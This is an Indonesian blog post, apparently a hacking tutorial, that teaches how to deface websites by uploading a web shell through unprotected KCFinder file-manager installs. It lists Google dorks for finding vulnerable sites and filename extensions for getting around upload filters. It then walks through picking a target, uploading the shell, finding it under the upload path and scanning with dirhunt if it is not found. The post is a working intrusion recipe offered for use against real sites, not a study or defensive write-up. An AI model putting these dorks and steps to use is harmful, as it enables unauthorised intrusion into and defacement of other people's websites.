Deface Metode Kcfinder Upload Shell

 

Deface Metode Kcfinder Upload Shell. Hallo semuanya apa kabar? semoga baik" aja ya

oke di postingan saya kali ini saya akan memberikan tutorial cara deface metode kcfinder upload shell nah gimana cara nya? yuk langsung aja ke tutorial nya

bahan" yang di butuhkan

 

Dork  inurl:/admin/plugins/ckeditor/kcfinder/
inurl:/plugins/kcfinder/
inurl:/asset/kcfinder
sites/all/modules/civicrm/packages/kcfinder
inurl:templates/_editor/kcfinder/
inurl:includes/kcfinder/browse.php
inurl:/kcfinder/browse.php
lib/kcfinder/files/upload
admin/kcfinder/files/upload
panel/kcfinder/upload/files
editor/kcfinder/upload
Kcfinder/upload/files

Shell Ber Extensi : php.fla php5 php.xxxjpg 

Xploit : kcfinder/browse.php

 

Oke seperti biasa pertama kalian dorking dulu pake dork diatas

 

 Pilih salah satu website

 

jika sudah kalian klik saja tombol upload dan upload shell kalian

 

 

nah untuk cara akses nya? www.web.com/kcfinder/upload/files/namashell.php

jika tidak ketemu coba kalian scan dengan dirhunt 

oke mungkin itu saja tutorial singkat dari saya

jangan lupa share ke temen" kalian

see you next pos